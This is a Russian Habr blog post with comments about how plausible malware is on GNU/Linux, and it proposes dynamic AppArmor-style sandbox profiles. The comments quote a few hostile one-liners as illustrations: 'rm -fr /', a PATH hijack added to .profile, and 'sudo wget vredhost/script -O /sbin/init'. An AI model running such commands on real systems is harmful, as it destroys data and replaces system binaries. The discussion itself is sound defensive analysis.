Вредоносное ПО для GNU/Linux и борьба с ним

    Читаю на хабре вот эту тему:«Trojan.winlock начал распространяться через ЖЖ». В принципе ничего принципиально нового, и конечно, как и всегда, в комментариях полно сообщений типа «А в linux/mac/freebsd/plan9 такого нет, а пользователи Windows ССЗБ», с которых начинаются небольшие холивары. Вот, хочу начать новый холивар поделиться мыслями и узнать кто что думает, узнать насколько возможно в GNU/Linux существование вредоносного ПО и подумать что с этим делать.

    Проблемы


    ПО для GNU/Linux, как и ПО для любой другой ОС, содержит уязвимости и с этим ничего не поделаешь. Не так давно мне попадалась новость про найденную уязвимость в каком-то плеере или библиотеки с кодеками (точно не помню, не суть важно). Уязвимость позволяла выполнить произвольный код при обработке специально сформированного файла. Да что далеко ходить, можно для примера взять хоть Flash, не важно.

    Допустим у нас есть жутко уязвимый плеер, при открытии специального файла в нем выполняется произвольный код. Что такой код сможет сделать? Если нет каких либо уязвимостей в ядре (или в других важных компонентах) позволяющих повысить права, то напакостить он сможет только в пределах домашней директории. Но ведь именно в домашней директории и есть самое ценное (да, про бекапы я помню). Т.е. возможно испортить/удалить файлы пользователя, сделать из компьютера пользователя бравого бойца какого нибудь ботнета, слить ценную информацию (пароли, документы, т.д.). Испортить остальную систему, навредить другим пользователям, сделать серьезный LinLock (который будет не просто удалить) уже не получится.

    Сможет ли код остаться в системе? Пусть /home смонтирован с опцией noexec, но у злоумышленника остается возможность использовать скрипты. Вредоносному коду ничто не помешает создать файл ~/.config/long/path/hard/to/find/zlovred.py и дописать в .profile его автозапуск. А еще можно прописать зловреда в ~/.config/autostart, а может и еще куда, я думаю что места найти можно.

    Т.е. нагадить один раз в домашней директории можно, прописаться в автозапуск и гадить часто тоже можно, например на флешки. Кстати о флешках. Допустим уязвимость не в плеере, а в библиотеке, которая кроме всего прочего используется каким нибудь thumbnailer'ом для создания превьешек видеофайлов. Пользователь вставляет флешку, открывает ее nautilus'ом, nautilus запускает вспомогательный процесс для создания превью… Все, зловред в системе, т.е. и кликать никуда не надо, вставил флешку — получил вирус.
    Если я что то упустил или не учел, то прошу прокомментировать. Если вышеописанное не получится, то что помешает испортить пользователю счастливую жизнь через уязвимость во Flash при заходе на вражеский сайт?

    Да, Linux не так распространен, существует зоопарк дистрибутивов и вирусописателю придется учитывать кучу нюансов, но если захотеть, то ведь можно. Сейчас Linux не очень популярен, что будет когда наступит ОН популярность возрастет? владельцы ботнетов откажутся от увеличения их численности из-за того что для Linux создать зловреда несколько сложнее? Мне так не кажется.

    Что делать?


    Антивирусы для Linux? No way!

    Все программы должны работать с минимальными привилегиями. Привилегии пользователя от которого запущена программа избыточны. Да, это уже придумали задолго до меня, я лишь хочу изложить свои мысли по поводу того как это могло бы работать.

    Что нужно (можно) плееру? Ему нужно только читать файлы, писать в ~/.config/player, открывать URL, если он это умеет. Все остальное не нужно, точнее низяаааа (голосом Полунина). Flash'у и того меньше, только сеть и какой нибудь ~/.config/adobe/flash (или где оно там?). Возможно требуется еще несколько директорий, например для временных файлов, но все это четко ограничивается.

    Так что же делать? Средства принудительного контроля доступа уже есть — SELinux и AppArmor. Только как мне кажется, их не мешало бы доработать. Например AppArmor (С SELinux знаком поверхностно… Может там уже все хорошо?), там для каждого приложения, которому надо урезать права, надо написать специальный конфиг и положить в /etc/apparmor.d/. Как мне кажется, такой подход не достаточно гибкий (Насколько я знаю, в SELinux тоже не гибкий). Не хватает возможности создания таких профилей «на лету», без прав суперпользователя. А именно:
    1. Интерфейс создания профиля безопасности приложения из самого приложения
    2. Интерфейс для запуска приложения с указанным профилем
    3. Возможность назначить приложению привилегии для редактирования профилей других приложения «на лету», т.е. изменения уже примененных профилей
    4. Шаблоны профилей, изменения в формате исполняемых файлов, возможно изменение пакетов


    Например, запускается тот самый дырявый плеер. Первым делом процесс плеера через специальное API применяет для себя ограничивающий профиль. Т.е. разработчик плеера явно должен добавить в него соответствующий код со списком требуемых приложению прав. Что-то типа «можно читать все файлы, можно писать в свой конфиг, все остальное нельзя». Т.е. данный метод для сознательных разработчиков, которые знают что их приложение может содержать баги и хотят ограничить систему от действий своей программы. Или соответствующий код может быть добавлен в рамках какого либо дистрибутива. Да, надо будет править код, но правок будет не много. Таким образом права можно будет урезать, но не повысить (как и есть в AppArmor), кроме того данный механизм должен позволять только однократное применение профиля, т.е. если приложение будет взломано, то уже ничего изменить будет нельзя. Такой профиль безопасности можно будет применять сразу после запуска, или не сразу, например, до применения приложение может прочитать/записать какие-то фалы, которые в дальнейшей работе уже не потребуются.
    Когда применять профиль решает разработчик.

    Не ко всем приложениям таким образом можно применить профиль, например, с приложениями с закрытым кодом будет проблема. Кроме того, может возникнуть ситуация, когда в зависимости от контекста запуска нужно применять различные профили. Именно для этого и требуется механизм номер два. С помощью него приложение может запустить другое приложение с указанием профиля. На мой взгляд, самый подходящий пример это браузер и плагины. Flash, java-аплеты, Silverlight и другие плагины при запуске получают профили безопасности, ограничивающие их права. Пусть Flash будет трижды дырявым, пусть в нем будет ActionScript API для доступа к файловой системе, сделать он ничего не сможет.

    Все вроде бы хорошо, т.е. большинство приложений таким образом можно ограничить. Но с некоторыми могут быть трудности. Что делать с приложениями, которым потенциально надо читать/писать любой файл.
    Браузеру нужна возможность сохранять загружаемые файлы. Можно ограничить его отдельной директорией ~/Downloads, но это будет безопасностью в ущерб удобству. Какому нибудь редактору в принципе нужна возможность прочитать и записать любой файл. В этом случае нам поможет пункт номер три. Диалоги открытия и сохранения файлов нужно вынести в отдельные процессы, а в, например, /etc/apparmor/trusted_programs прописать что /usr/bin/gtk-open-dialog и /usr/bin/gtk-save-dialog могут изменять «на лету» профили других, уже запущенных приложений (к примеру через /proc/[pid]/aa_profile). Естественно, можно редактировать профили приложений только того же пользователя, от которого запущены и сами специальные программы (диалоги открытия и сохранения).
    Запускается браузер, к нему применяется профиль, ограничивающий все и вся. Когда браузеру надо будет сохранить скачиваемый файл, то он запустит gtk-save-dialog (естественно, для kde нужна будет своя штуковина). Пользователь явно выберет имя файла для сохранения. Gtk-save-dialog внесет соответствующее исключение в профиль процесс браузера и вернет браузеру имя файла. Таким образом приложение сможет читать и писать только те файлы, которые явно разрешил пользователь. Приложению можно будет запретить читать и сами директории, чтобы не было возможности получить список файлов (хотя, получение списка файлов достаточно безопасно, я думаю). Так же можно поступить и с офисными программами (да и многими другими). Пусть в текстовом процессоре разрешены все макросы и прочие небезопасные вещи, испортить что либо будет невозможно, разве что сами офисные документы, и то только те, которые уже открыты в данный момент. Для пользователя все останется как и было, те же программы, те же диалоги, ничего нового, никаких неудобств. Для программиста тоже можно обойтись без изменений, все тот же вызов функции показа диалогового окна. Надо будет только подправить библиотеки виджетов (Gtk,Qt,...)

    Остался четвертый пункт. Зачем он нужен? Нужен он для безопасного запуска приложений из непроверенных источников. Вот когда наступит ОН GNU/Linux станет более популярным и под него будет множество приложений, вот тогда и понадобится четвертый пункт. Как правило, в GNU/Linux приложения из проверенных источников — репозиториев, но бывают ситуации, когда надо поставить приложение из непроверенного источника. Четвертый пункт заключается в следующем: система содержит шаблоны профилей безопасности, они стандартны; исполняемый файл содержит название/id профиля. При запуске приложению применяется профиль, если приложение не содержит id/название профиля или ему требуются потенциально опасные права, то пользователю выводится предупреждение. Таким образом пользователь сможет скачивать и запускать большое количество приложений из непроверенных источников, конечно, системные приложения сюда не относятся, т.к. им понадобится множество потенциально опасных привилегий. Всякую мелочь, типа игр, небольших утилит, скринсейверов и т.п. можно будет спокойно запускать, при этом, если приложение не требует каких-то особых прав, то пользователя можно вообще не уведомлять («Скачано с www.zlovredi.ru. А вы уверены что хотите запустить исполняемый файл из непроверенного источника?»), а сразу запускать. Почему шаблоны и названия/id профилей, а не просто профили безопасности непосредственно в исполняемых файлах? Потому что, тогда будет нужен парсер, который будет проверять профиль и выдавать заключение о его безопасности, а это время при запуске, кроме того исключается атака на ядро через профиль безопасности из непроверенного источника (мало ли чего там понаписали… и у ядра будет DoS). Все это, насколько я могу судить, напоминает работу с приложениями для мобильных устройств.

    Зачем я это написал?


    Просто изложил свои мысли и мне интересно обсудить тему безопасности в GNU/Linux, что я и предлагаю сделать в комментариях. Конечно я не описал ничего принципиально нового, но некоторые идеи описанные здесь мне нигде не встречались (например, вынесение диалогов открытия и сохранения в другие процессы), может быть это действительно будет полезной идеей. Почему я не бросился писать патчи для ядра, а написал топик на хабре? К сожалению мои знания C, а уж тем более ядра, оставляют желать лучшего. Кроме того, есть мысль обсудить изложенные идеи, и возможно, написать об этом на Ubuntu Brainstorm (Я туда писал пару строчек на эту тему, но они остались почти без внимания, может быть потому, что у меня английский так себе, а может быть это никому не надо. Найду ссылку — добавлю сюда) или подобный ресурс.

    P.S. Не уверен, что я выбрал подходящий блог для написания данного топика. Если ему не место здесь, то перенесу.

    [update 1]
    Небольшое дополнение 1:
    То что я тут описываю — дополнения к существующему AppArmor. API для создания профиля из самого приложения не замена профилям AppArmor, которые сейчас существуют в текстовых файлах, а дополнение.
    Мне кажется что может быть полезно в некоторых случаях:
    — Одно приложение смоет работать с разными профилями в зависимости от использования, т.е. по разному урезать права самому себе.
    — Урезать права можно будет не сразу после запуска, а несколько позже.
    Например отработал полностью проверенный и вылизанный участок кода, которому нужны большие права, дальше права приложению не нужны и они урезаются.
    Т.е. это дополнение которое добавляет гибкость, а не замена.

    Небольшое дополнение 2:
    Права всегда можно только уменьшать. Только в пункте 3 можно разрешить то что было запрещено.
    Разрешить может только привилегированная программа и только другому уже запущенному процессу.
    Выше все подробно описано, прочитайте еще раз.

    Небольшое дополнение 3:
    Как и в случае классического AppArmor эта система прав будет менее приоритетна чем классическая система прав. Т.е. если самому пользователю что-то нельзя, то и всем приложениям это нельзя вне зависимости от их профилей.

    [update 2]
    Оказывается в Mac OS X разрабатывается нечто подобное.
    techjournal.318.com/security/a-brief-introduction-to-mac-os-x-sandbox-technology
    developer.apple.com/library/ios/#DOCUMENTATION/Security/Conceptual/Security_Overview/Security_Services/Security_Services.html
    Спасибо int80h'у за ссылки.
    Кстати, там есть возможность ограничивать права из самого приложения через специальный API, как описано у меня и о чем в комментариях пишут «нафиг не надо».

    Интересно, а для Windows уже есть что-то подобное?
    Share post

    Similar posts

    Comments 109

      +12
      Первым делом процесс плеера через специальное API применяет для себя ограничивающий профиль

      Зачем это делать в реальном времени?

      Автор пакейджа вполне может этот конфиг для SELinux/AppArmour класть в deb, или даже генерировать в postinst скрипте (%post секции для RPM).

      Никаких проблем.
        0
        В принципе, да, можно в пакет.
        Я исходил из того что:
        — если приложений с профилями будет много, то их как сейчас надо будет перечитывать при загрузке системы
        — большая гибкость, например разные профили в зависимости от режима работы приложения
          0
          А если автор пакета не настолько сознателен (или просто бессознателен) и профиль (конфиг) сгенерит с завышенными полномочиями?

          Доверять автору приложения ограничение возможностей этого самого приложения — не самый безопасный вариант.
            0
            >Доверять автору приложения ограничение возможностей этого самого приложения — не самый безопасный вариант.

            В данном случае будет не «автору приложения», а «мейнтейнеру пакета».
            В случае «сам пишу — сам пакую — сам распространяю», конечно, нет никакой разницы, но для пакетов из репозитория вполне сработает, ибо доверия мейнтейнеру дистрибутива доверия чуть больше, чем автору софтины.
              +2
              Год использования Gentoo показал что намного лучше когда автор поставляет человеческий способ сборки софта, чем готовые пакеты для пары любимых дистров.
                0
                На генту — да.

                Но в других дистрибутивах есть специфичные правила расположения файлов, триггеры и другие механизмы «межпакетного взаимодействия», и автор не всегда их знает хорошо.

                Отличный пример — deb-пакеты у ванильного ядра линукса. Которые make deb-pkg. Вроде всё хорошо, но пакеты при установке не запускают update-grub, в результате чего не появляются в менюшке.
                  +4
                  [humor]Насколько же разные проблемы у гентушников (собралось бы) и deb-based (менюшка не обновилась)[/humor]
                    +1
                    А проблемы и там и там одни. Не сломал бы чего пакетописатель. Просто автор ломает намного чаще чем дистровый мейнтейнер пакета.

                    И гентушники часто помогают найти баги с билдом, т.к. постоянно тестируют различные конфигурации. Если не собралось, и гентушник — не латентный убунтоид, то проблема в софте.
                    0
                    Именно поэтому лучше чтобы автор сделал человеческий способ сборки софта, а не пакеты для пары любимых дистров.

                    Мейнтейнер свой дистр лучше знает.
                0
                не автору, а мейнтейнеру. Если мейнтейнеру не доверять, то запускать его скрипты из-под рута (а установка пакетов идёт именно с правами рута) — высшей степени глупость.
              +7
              Пожалуйста, пишите комментарии. Интересно узнать мнение компетентных в данном вопросе людей. Спасибо!
                –6
                Если нет каких либо уязвимостей в ядре (или в других важных компонентах) позволяющих повысить права, то напакостить он сможет только в пределах домашней директории.

                А если в данный момент искомый плеер запустил и слушает root?
                  +11
                  Значит root ССЗБ. vlc, кстати, запускать себя от рута не позволяет.
                    +3
                    Тогда ситуация близка к тому, что творится в Windows, просто пользователи Windows — чаще являются CCЗБ :)
                    А с отключением UAC — выходит, что ССЗБ^2
                      +4
                      Собственно, в топике обсуждается настраиваемый UAC на стероидах.
                      0
                      vlc не хочет злоупотребить властью нечаянно :)
                        +1
                        Это если не залезть в исходник.
                        0
                        Как написали выше, рут просто ССЗБ.
                        Но, ничего не мешает применить профиль безопасности и к приложению запущенному с правами рута. По идеи, все должно быть безопасно.
                          0
                          Аналогия — администратор с настроенным ХИПСом в Windows :)
                          +1
                          тогда сразу rm -fr / чтобы не мучался бедняга, тогда следующий раз не будет под root'ом сидеть.
                            –2
                            /boot и / монтировать как ro?
                          0
                          Когда браузеру надо будет сохранить скачиваемый файл, то он запустит gtk-save-dialog

                          Вообще, exec — не самый безопасный способ, обычно всё происходит в процессе браузера. Всё exec'нутое в tomoyo, например, получает по умолчанию профиль (например, enforcing) запустившего процесса без его прав (т.е. в чистой системе gtk-save-dialog не сможет ничего). Иначе к уязвимостям браузера добавляются уязвимости gtk-save-dialog.
                          За идею «изначально доверенных гуевых окошек сохранения файлов» закопают. Меня вполне устраивает управление tomoyo и особенно режим обучения, который заметно удобнее на десктопе, чем SELinux (хороший, но монстрообразный)/AppArmor.
                            0
                            Список того что можно запускать тоже может быть в профиле безопасности. Соответственно, браузеру можно будет запускать gtk-save-dialog и gtk-open-dialog.
                            1. Там очень немного кода и уязвимость маловероятна.
                            2. К этим диалогам можно применить свои профили. Им вообще ничего не надо читать/писать, ни одного файла, только показывать список файлов, даже если там будет уязвимость (хотя совершенно не ясно как ее эксплуатировать, если программа не открывает ни одного файла, не лезет в сеть и т.п.) опять же ничего нельзя будет испортить. У них есть одна специальная привилегия — правка профилей других процессов. Можно ограничить еще жестче, правка профиля только родительского процесса.
                            +12
                            Взломать можно все, но смысл весь в том, что в линуксе меньше возможностей.
                            Скачивание левого софта отпадает — репозитарии
                            Дыры быстро латаются в opensource программах
                            Я слежу за запущенными процессами, а также смотрю активность сети.
                            В общем это многие пользователи и под windows делают в виде виджетов.
                            В случае ботнета все будет заметно.
                            Теперь возмем локеры — создаем root пользователя, и в случае проблем под юзером мы просто жмем Ctrl+alt+F1 заходим под рутом и убиваем локер)
                            Ну а дальше уже легко все прикроется, ведь под windows нет общей системы обновлений для всех программ, вот и выходит, что пользователи используют устаревшие версии с набором багов и дыр.
                            Под Linux не нужен антивирус по причине того, что проще залатать правильно дыру и залить в репозитарий исправление, чем городить поверх системы костыли, которые будут выполнять ту же функцию)
                              +3
                              >Взломать можно все, но смысл весь в том, что в линуксе меньше возможностей.
                              Но они есть, я предлагаю способ их убрать.

                              >Скачивание левого софта отпадает — репозитарии
                              А если чего то нет в репозитории? А так пользователь получит больше свободы.

                              >Дыры быстро латаются в opensource программах
                              Но они существуют и могут лататься не быстро, зависит от многих факторов. В случае применения данных механизмов их можно будет латать хоть месяц, все равно они будут безопасны.

                              >Я слежу за запущенными процессами, а также смотрю активность сети.
                              Linux становится все более популярным. Многие этого не делают, просто не знают как.
                              Я хочу чтобы система была безопасна для всех, и для админа и для его бабушки.

                              >В случае ботнета все будет заметно.
                              Во время атаки. А до атаки? У меня комп сутками работает, качает чего нибудь, например. Но сижу я за ним далеко не сутками. В мое отсутствие может много чего произойти.

                              >Теперь возмем локеры
                              А как же бабушка админа? А если внук уехал? А вместо любимого сериала гей-порно…
                              Тут не только про локеры тут в общем.

                              >Под Linux не нужен антивирус по причине того
                              Так и я говорю, что не нужен.

                              >проще залатать правильно дыру и залить в репозитарий исправление
                              Да, но тут все дыры станут безопасными, т.е. одна затычка на все дыры.
                                +4
                                Дело в том, что линукс не един и за каждым пакетом стоит десяток своих людей, у них есть багтрекер — на 10 человек попадется хоть 1 человек, который туда напишет, а там такие дыры ставят выше любых багов работы и нововведений, 1-2 дня. И зачем тогда писать локера или юзать дыру если через 2 дня весь труд насмарку?
                                Толи дело Windows — есть крупные дыры, которые не фиксится десятками лет — прикрываются антивирусами Весь нужный софт почти для любого пользователя есть в репозитариях, я сомневаюсь, что бабушка будет компилировать Psi+, чтобы версия поновее была)
                                Да и как говорится, если у пользователя нет знаний или в простонародье «руки кривые» тут уже никакие антивирусы и безопасность не спасет, он сам скачает себе ядро с кучей зловредов и ботнетов и поставит его по инструкции — потому что где то там пишут, что это преведет к суперпупер крутости скорости и т.д. Это не убрать.
                                  0
                                  >Да и как говорится, если у пользователя нет знаний или в простонародье «руки кривые» тут уже никакие антивирусы и безопасность не спасет
                                  Что то не вяжется с:
                                  >он сам скачает себе _ядро_ с кучей зловредов
                                  Собрать ядро с кривыми руками и без знаний трудновато будет. В ходе этого процесса руки выпрямятся и знания появятся.

                                    0
                                    Ну как у нас сейчас делают со всякими там «секретами вконтакте» мануал на пару страничек куда кликнуть мышью.
                                    Там же будет вроде этого: 1.Скачайте файл 2. Откройте его и введите пароль 3. Наслаждайтесь скоростью!
                                    Я имею в виду людей, которые могут сами по плохим инструкциям дать доступ.
                                  +3
                                  я может не потеме, но меня всегда интересовало, что заставляет людей говорить слово «репозитАрий» вместо «репозитОрий»?
                                    +2
                                    Возможно, это люди, которым больше нравится валютный депозитАрий, чем вагинальный суппозитОрий.
                                      +1
                                      То есть если человек говорит репозиторий, то он, возможно, души не чает в вагинальных суппозиториях?
                                0
                                Испортить остальную систему, навредить другим пользователям, сделать серьезный LinLock (который будет не просто удалить) уже не получится.

                                Вы забываете о регулярно обнаруживаемых уязвимостях повышения привилегий. Конечно, их оперативно закрывают, но ведь не факт, что их найдут сразу. Если зловред будет использовать набор таких уязвимостей, он вполне может прописаться и системным процессом.
                                  0
                                  Вот как раз тут то и будут полезны описанные мной механизмы. Как правило повышение привилегий делается через какое нибудь хитрое место. Вышеописанные механизмы это, грубо говоря, список того что можно делать программе, очень вероятно, что хитрые выкрутасы со спец. файлами и т.п. туда не попадут.
                                  0
                                  Поздравляю, вы изобрели SELinux/AppArmor.

                                  Насчёт LinLock. Если зловред получает только права пользователя, сделать реально проблемный linlock не получится, всё исправляется тут же, входом в консольный режим, или если как-то испорчен .bashrc, через recovery mode. То есть, оно лечится встроенными инструментами ОС.

                                  И потом, ваш сценарий с thumbnailer'ом, очень маловероятен, т.к. там требуется стечение целого ряда обстоятельств. В винде вирусы распространялись на флэшках не из-за уязвимости, а из-за архитектурного просчёта — работа в sinble-mode (по сути, юзер — админ) и возможность автозапуск сменных накопителей, которая включена по умолчанию и срабатывает молча. Поскольку в линуксе такой архитектурной проблемы нет, то и уязвимых систем даже если в случае, что гда-то там что-то будет обнаружено, будет слишком мало для сколь бы то ни было заметной эпидемии или просто распространения вируса.
                                    +3
                                    Если зловред получает только права пользователя, сделать реально проблемный linlock не получится

                                    Вы давно проверяли, что запускается по клику на значке терминала?
                                      0
                                      Хм… Это интересный вариант. :) Как метод защиты — запрет создавать/менять .desktop файлы для стандартных приложений. Или для любых приложений вообще. Или отдавать приоритет при объединении списков меню системным файлам перед файлами в директории пользователя. Или учитывать noexec флаг раздела при запуске .desktop-файлов.

                                      Но это не меняет факта изготовления проблемного linlock. Всё лечится штатными средствами.

                                      Или ещё проще, метод грубой силы — передать права на каталоги .config/autoexec .config/menu и прочие суперпользователю, запретив пользователю запись в эти каталоги.

                                      Благо в линуксе есть надёжная архитектура, с помощью которой прикрыть проблемные места в случае чего — проще простого.
                                        +1
                                        Дописываем в .profile export PATH=/tmp/evilbin:$PATH и не надо править никаких .desktop. Суть в том, что если зловред запустился, то ему проблематично помешать. Фактически, вы не можете доверять ни одной команде, потому что не знаете, что именно было запущено в качестве шелла. Так что, скорее всего, придётся попросту запретить выполнение бинарников (в том числе .so, ибо есть LD_PRELOAD), полученных не из репозиториев, а пакеты подписывать централизованно раздаваемыми ключами.
                                          0
                                          А с попытками запустить бинарник из /tmp может разобраться apparmor и иже с ним.
                                            +2
                                            С такими попытками лучше поможет справиться опция монтирования noexec.
                                              –1
                                              Выделять ещё один раздел для tmp? Я понимаю три раздела: root, home и swap. Но ещё и tmp? Как-то это, ИМХО, слишком.
                                                +2
                                                Можно смонтировать директорию /tmp через опцию bind c опцией noexec.
                                                Не пробовал, но не вижу причин чтобы не получилось.
                                                  0
                                                  Я не пробовал, но в мане вроде как написано, что при bind не получится менять первоначальные -o флаги монтирования. Хотя вроде как можно, но немного странно:
                                                  Note that the filesystem mount options will remain the same as those on the original mount point, and cannot be changed by passing the -o option along with --bind/--rbind. The mount options can be changed by a separate remount command, for example:
                                                  mount --bind olddir newdir
                                                  mount -o remount,ro newdir
                                                  +1
                                                  В оперативку /tmp кидаешь, и винту легче и работает моментально. Плюс права какие угодно на раздел можно ставить.
                                                    0
                                                    Это спорное решение. В такой ситуации какой-нибудь mc (как и многие другие программы) при попытке открыть архив в несколько гигов сделает системе больно. Очень больно.
                                                      0
                                                      А ведь в PAM есть такая штука, которая подменяет содержимое /tmp на содержимое другой директории в домашней директории пользователя, обращающегося к /tmp.
                                                      Почему то это не применяется, а, как мне кажется, надо бы. Незачем в общей директории всем срач разводить, даже несмотря на то, что ее содержимое очищается при перезагрузке.
                                                      Очистку временной папки пользователя можно прописать в .profile.
                                              0
                                              Кстати, насчёт зловреда в папке /tmp. Он не переживёт перезагрузки.
                                                0
                                                У меня перезагрузка явление редкое, прижился бы :)
                                                –2
                                                TrueЪ-параноики давно запускают команды с полными путями. Я, например, всегда использую /bin/su вместо su )
                                                0
                                                > Или отдавать приоритет при объединении списков меню системным файлам перед файлами в директории пользователя.
                                                И как тогда пользователь сможет править меню? Правки в меню и делаются .desktop-файлами в домашней директории пользователя.
                                                  0
                                                  Если правки уровня включить/выключить, это не проблема. А большими правками можно и пожертвовать.
                                            +1
                                            Если интересует теория этого дела — курите в сторону систем безопасности, основанных на мандатах.
                                            В андроидах что-то похожее уже реализовано.
                                              –1
                                              В андроиде нету обновление отдельных приложений через репозитарии, там вендор обновляет ВСЕ и то редко или вообще никогда. Вот и проблемы.
                                                +3
                                                Repository = репозитОрий.
                                              +2
                                              Разница во времени закрытия уязвимостей после их обнаружения. Обсудили здесь: habrahabr.ru/blogs/infosecurity/112801/
                                              MS вынуждены неделями проверять, не ломает ли их заплатка какой-нибудь древний костыль.
                                                –1
                                                а повысить права можно и без уязвимости в ядре и т.п., смотря как настроен sudo, скрипт через определенное время дергается через sudo и в какой то момент сессия sudo будет открыта(как вы введете пароль на обновление или т.п.)
                                                  +1
                                                  sudo работает в пределах виртуальной консоли, с которой запущен для комманд «sudo имя_комманды».
                                                  Ввели пароль на обновление через gksudo — только сможете обновляться.
                                                    +1
                                                    Только при условии, что скрипт и sudo были запущены на одном терминале.
                                                      0
                                                      смотря как настроен sudo, в некоторых системах например по умолчанию(по крайней мере было) вы ввели пароль открылась так назовем сессия sudo и она открыта какое то время, т.е. в течении 5 минут например если вы введете sudo cmd то пароль не запросится.
                                                        +2
                                                        Так и есть, но только для этого терминала. Откройте другой и напишите там sudo cmd — спросит пароль.
                                                    +1
                                                    В linux часто графические программы — это только надстройка над консольными. Как их ограничивать — не понятно.

                                                    Профили в самом приложении — не нужны, так как для всех языков программирования сложно сделать единое API.

                                                    Текущий подход с конфигами — логичный и правильный.

                                                    Если выводить окошко на доступ к файлу, то кто в системе этим будет зниматься? Этим должно заниматься приложение, запущенное от другого пользователя, чтобы «плохой процесс» с ним ничего не мог сделать. Как это реализовать? Ещё одни костыли для X-сов? А если приложение запущено по сети и используем port-forwading?
                                                      0
                                                      Ох, промахнулся вопросом адресованным к вам, посмотрите чуть ниже пожалуйста.
                                                        0
                                                        >В linux часто графические программы — это только надстройка над консольными. Как их ограничивать — не понятно.
                                                        Графическая надстройка запускает консольное приложение уже с нужным профилем безопасности, см. пункт 2.

                                                        >Профили в самом приложении — не нужны, так как для всех языков программирования сложно сделать единое API.
                                                        Да, единое API в linux это «очень сложно»… /proc/[pid]/apparmor/profile — вот вам единое API для всех языков.

                                                        >Если выводить окошко на доступ к файлу, то кто в системе этим будет зниматься?
                                                        Обычное приложение, у которого есть специальная привилегия, которая позволяет изменять профили у запущенных процессов.

                                                        >Этим должно заниматься приложение, запущенное от другого пользователя, чтобы «плохой процесс» с ним ничего не мог сделать.
                                                        А что может другой процесс сделать?
                                                        +1
                                                        Не могли бы вы пояснить второй пункт, возможно я что-то не так понял?

                                                        Я с линукс плохо знаком, больше по маку, но все же. В mac os существует аналогичная система профилей, при этом есть и API для приложений чтобы они сами себе могли задать профиль безопасности (тот самый пример про плеер и сознательных разработчиков). Так вот я например знаю что мое приложение не пишет файлы, при инициализации я первым делом сообщаю системе что мне нужно запретить писать файлы и все… больше я не смогу писать в файлы. При этом внедриться в мой процесс не очень сложно, например заразив бандл какого-нибудь фреймворка, но «вредоносу» это уже не поможет, мое приложение в песочнице с ограниченными правами. На мой взгляд это вполне здравый подход. Ну а языки программирования — так это просто вызов функции с определенным набором параметров, я могу это сделать как из программы на objective-c, так и из программы на free pascal или real basic, никаких сложностей.
                                                          +1
                                                          Поздравляю. Хронологически первое место на странице, где появилось слово «песочница».
                                                            0
                                                            Да, так и есть. А где можно почитать про то, как оно в Mac OS X?
                                                            0
                                                            Хорошая реализация, но конфиги программа все равно свои пишет и читает.
                                                            Нужно что-то типо для плеера:
                                                            allow_access(«cfg_file.cfg», READ&WRITE);
                                                            allow_access_by_mimetype(«медиатайпы», READ);
                                                            allow_access(… всякие /dev/null-ы, /dev/random-ы);
                                                            sandbox_init();
                                                            И дальше профили менять приложению надо запретить, даже по запросу.

                                                            Процесс того же пользователя заражённая программа может убить — за этим тоже должна следить система беопасности.

                                                            Хотя, я думаю всё это реализовано в apparmor через конфиги, вот только он есть не на всех дистрибутивах и не для всех программ можно найти конфиги
                                                            0
                                                            А по поводу предупреждений типа
                                                            («Скачано с www.zlovredi.ru. А вы уверены что хотите запустить исполняемый файл из непроверенного источника?»)
                                                            я полон пессимизма. Часто пользователи соглашаются со всем, даже не читая.

                                                            А вот сомнения автора по поводу пользы антивирусов я разделю. Под любую платформу. Давно ещё писал про это. kartz.ru/2010/03/24/antivir-delirium/
                                                              0
                                                              >я полон пессимизма. Часто пользователи соглашаются со всем, даже не читая.
                                                              Так и я тоже. Я об этом и пишу, что такие окна будут не нужны если приложение имеет безопасный профиль. А вот если небезопасный, то можно показать большое красное окно, где будет написано «Вы запускаете опасное приложение! Вы уверены?». Т.к. таких сообщений будет гораздо меньше, то и обращать внимание на них будут больше.
                                                                0
                                                                Тезис про частоту появления вопросов интересен, но если пользователь может что-то испортить — то он когда-нибудь испортит. Даже если надо будет для этого 33 раза набить на клавиатуре «Я ПОНИМАЮ ОПАСНОСТЬ». Говорят, обезьяна может «Войну и мир» написать, вопрос времени только. А сложный прибор проще сломать, чем не сломать.

                                                                Я скорее за то, чтобы таких вопросов не было совсем. Вместо окна пользователю «эта порнушка может быть опасна» лучше отправлять сообщение администратору о попытке превышения полномочий и запуска неподписанного приложения или приложения с сомнительным профилем безопасности. Сомнительные — это те, которые меняют чужие конфиги или трогают автозапуск. А админ приходит и разбирается, решает задачу. Создаёт репозиторий лично проверенных порнофильмой, подписывает его своим ключём, импортирует ключ нужным пользователям в систему, к примеру )))

                                                                Либо разрешать запускать такое ПО только под другим пользователем, созданным специально для этого приложения с контролем или ограничением сетевой активности и вообще ресурсов (порты smtp закрыть, к примеру, и сканирование сети выявлять), ограничить число создаваемых инодов, nice отрегулировать. Типа «запуск приложения в этом сеансе невозможет, так как это может навредить безопасности. Хотите переключиться в новый сеанс? Точно-точно? Там обоев на рабочем столе не будет!»

                                                                В любом случае, оценка потенциальных слабых мест в компьютерной безопасности — это большая часть работы. Так что статья очень хорошая.
                                                                  0
                                                                  Ну и картинка с пояснением, куда ж без неё
                                                                  dl.dropbox.com/u/2608230/img/bart.gif
                                                                    0
                                                                    Как вы себе представляете дома «админ приходит»?
                                                                      0
                                                                      Я имел в виду корпоративное использование. Дома пользователь той же Ubuntu может запросто заразить не только свой каталог, но всю систему, если ему напишут «Для просмотра порноролика отправьте yaloh на 777 и затем наберите в консоли sudo wget vredhost/script -O /sbin/init и свой пароль для системы».

                                                                      Для дома «админ приходит» можно заменить на проверку квалификации пользователя. Для этого нужен набор вопросов типа «напишите полный путь к вашему домашнему каталогу» или «сколько разделов на вашем жёстком диске?». Хотя и это бредовая идея и не во всех случаях спасёт.

                                                                      Ну есть ещё вариант резать всё неподписанное. Я его и придерживаюсь. Хочешь запустить — показывай паспорт и получай ключ. Тогда хоть будет понятно, кого по попке отшлёпать за зловреда. Понятно, что это не бесплатно, но процедуру можно сделать доступнее или найти спонсора. Марк Шаттлворт, кстати, именно на выдаче сертификатов и заработал денег на убунту.

                                                                      Может я параноик, но флешплеер у меня не стоит в моей Ubuntu 8.04. Подписанных программ из официального репозитория хватает для всего. Система старая (скоро 3 года), пора бы обновить, но ведь работает, стерва такая, не ломается при всех моих экспериментах. А рисковать настроенным окружением неохота.

